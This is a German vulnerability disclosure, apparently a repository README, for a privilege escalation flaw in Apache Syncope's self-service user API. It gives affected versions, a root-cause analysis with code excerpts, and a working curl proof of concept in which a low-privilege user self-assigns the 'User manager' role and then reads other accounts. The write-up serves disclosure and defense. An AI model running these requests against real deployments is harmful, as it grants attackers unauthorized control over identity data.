
Apache Syncope: Privilegieneskalation durch Benutzer-Self-Service
Fehlerhaftes Privilegienmanagement (CWE-269) in Apache Syncope. Ein authentifizierter Benutzer mit niedrigen Privilegien kann sich über die Self-Service-API für Benutzer selbst beliebige Rollen zuweisen (sowie Gruppenmitgliedschaften, externe Ressourcen und ein neues Realm) — Operationen, die auf jedem anderen Codepfad administrative Berechtigungen erfordern — und dadurch zum Administrator des Identitätsspeichers werden.
Dieses Repository ist die technische Referenz für die Schwachstelle: Grundursache, ein zur Laufzeit bestätigter Proof of Concept und Reproduktionshinweise. Ein narrativer Bericht darüber, wie sie gefunden wurde, ist separat verfügbar (siehe Write-up).
| CVE | CVE-2026-62183 |
| Hersteller / Produkt | Apache Software Foundation — Apache Syncope |
| Betroffenes Paket | org.apache.syncope.core:syncope-core-workflow-java |
| Klasse | CWE-269 Improper Privilege Management (Mechanismus: CWE-862 Missing Authorization) |
| Schweregrad | Wichtig (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Betroffen | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| Behoben in | 4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x ist EOL, kein Fix |
| Bestätigt auf | 3.0.16 (Standalone-Distribution, JDK 17), Domäne Master |
Der Self-Service-Update-Endpunkt für Benutzer von Apache Syncope, PATCH /users/self/{key}, erfordert lediglich isAuthenticated(). Die gemeinsame Logikschicht überspringt die Autorisierungsprüfung für „Self“-Operationen, während der Datenbinder privilegierte Anfragefelder (roles, memberships, resources, auxClasses, realm) weiterhin anwendet. Das Ergebnis ist eine direkte Privilegieneskalation: Ein Benutzer mit niedrigen Privilegien weist sich selbst eine privilegierte Rolle zu und erlangt sofort deren Berechtigungen — einschließlich, bei einer entsprechend mächtigen Rolle, der vollständigen Verwaltung aller Benutzer. Wo Selbstregistrierung aktiviert ist, betrifft derselbe Fehler doCreate, sodass ein nicht authentifizierter Angreifer ein bereits privilegiertes Konto registrieren kann.
Die Schwachstelle betrifft Konfigurationen mit einem der folgenden Benutzer-Workflow-Adapter (genau diesen Umfang nennt das Advisory des Herstellers):
Im Produktivbetrieb läuft Self-Service normalerweise über die Enduser-UI, die keine Rollenzuweisung anbietet; um diese Schwachstelle zu erreichen, muss die Core-REST-API für den Benutzer mit niedrigen Privilegien aufrufbar sein. Das unten stehende Laufzeit-PoC verwendet die Standalone-Distribution, die laut Apache-Dokumentation nur zur Evaluierung gedacht ist und Beispieldaten enthält (den Benutzer bellini, die integrierten Rollen User manager / User reviewer) — diese Beispieldaten sind in einer regulären Bereitstellung nicht vorhanden. Das sind ehrliche Einschränkungen hinsichtlich der Ausnutzbarkeit in der Praxis, nicht der Korrektheit des Fehlers.
Anfragefluss für PATCH /users/self/{key}:
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. Der Endpunkt autorisiert nur „Ist irgendjemand angemeldet?“ — UserSelfLogic.update:
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
Es ist keine Berechtigung erforderlich (kein USER_UPDATE, kein Rollen-/Realm-Bereich).
2. Die Autorisierungsprüfung wird bei Self-Operationen übersprungen — AbstractUserLogic.doUpdate:
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: the whole block is skipped
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. Der Binder wendet privilegierte Felder trotzdem an — UserDataBinderImpl.update(...) übernimmt Rollen-ADD/DELETE, memberships(...) (Gruppen) und fill(...) (Ressourcen / Realm) direkt aus der Anfrage, ohne Prüfung der Berechtigungen des Aufrufers — diese Prüfung soll in der Logikschicht erfolgen, die Schritt 2 überspringt. Der Admin-Pfad (UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) führt securityChecks durchaus aus; der Self-Pfad nicht.
Die eskalierte Rolle wird bei der Authentifizierung wirksam: AuthDataAccessor.getUserAuthorities(user) durchläuft userDAO.findAllRoles(user) und vereinigt die Berechtigungen jeder Rolle, sodass die selbst zugewiesene Rolle bei der nächsten Anfrage/Anmeldung des Benutzers aktiv ist. Dieselbe if (!self)-Auslassung ist auch in doCreate vorhanden, wodurch sich der Fehler auf die Selbstregistrierung ausweitet.
Kurz gesagt: Zwei Schichten gingen jeweils davon aus, dass die andere die Privilegienprüfung durchführt. Der Endpunkt delegierte die Autorisierung an die Logikschicht; die Logikschicht übersprang sie für self; der Binder vertraute darauf, dass die Logikschicht die Felder bereits abgesichert hat.
Ein normaler authentifizierter Benutzer ohne Rollen weist sich selbst die integrierte privilegierte Rolle User manager zu (die USER_READ über / gewährt) und liest anschließend ein beliebiges Konto. Keine Admin-Aktion, keine besondere Konfiguration. Vollständiges Skript: poc.sh.
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200